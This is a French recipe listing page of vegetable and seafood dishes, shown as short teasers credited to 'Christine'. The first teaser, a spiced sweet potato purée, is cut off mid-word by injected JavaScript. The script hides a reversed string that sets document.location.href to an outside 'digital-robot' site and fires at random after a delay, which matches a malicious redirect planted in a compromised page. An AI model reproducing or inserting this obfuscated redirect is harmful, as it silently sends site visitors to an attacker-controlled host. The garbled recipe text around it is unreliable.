Catégorie : Légumes
Purée de patates douces aux épices
Versez la crème fleurette dans une casserole, ajoutez les étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ...
Christine.. Lire la suiteSalade de pommes de terre avec de l’andouillette
Pelez, émincez les échalotes. Rincez, essorez la salade mesclun. Dans un saladier préparez la vinaigrette ...
Christine.. Lire la suiteArtichauts gratinés avec du curry
Plongez les fonds d’artichauts, dans une eau bouillante salée. Portez à ébullition et faites cuire ...
Christine.. Lire la suiteSaint-Jacques aux poireaux, au tofu et zestes d’orange
Pelez, coupez en deux la gousse d’ail. Ôtez le germe et la hacher. Rincez, émincez ...
Christine.. Lire la suiteNoix Saint-Jacques avec des trompettes de la mort et du lard fumé
Coupez le lard fumé en petits dés. Lavez, essorez le persil. Pelez, coupez en deux ...
Christine.. Lire la suiteSaint-Jacques poêlées au tartare de tomates aux dattes
Dénoyautez les dattes et les couper en morceaux. Lavez, séchez et coupez en deux les ...
Christine.. Lire la suiteMoules au céleri-rave
Grattez, rincez les moules dans une grande quantité d’eau froide. Pelez, râpez le céleri rave ...
Christine.. Lire la suiteVelouté de topinambours à la chèvre fraîche
Pelez, rincez, coupez en petits dés les topinambours. Pelez, émincez l’oignon.
Christine.. Lire la suiteCake aux topinambours avec des gésiers de canard
Versez le lait dans une casserole et le faire chauffer. Réservez. Plongez les topinambours dans ...
Christine.. Lire la suiteCrème de potimarron avec des topinambours poêlés
Coupez le potimarron en quatre. Enlevez les graines. Pelez, le détailler en petits dés. Pelez, ...
Christine.. Lire la suiteLes Recettes
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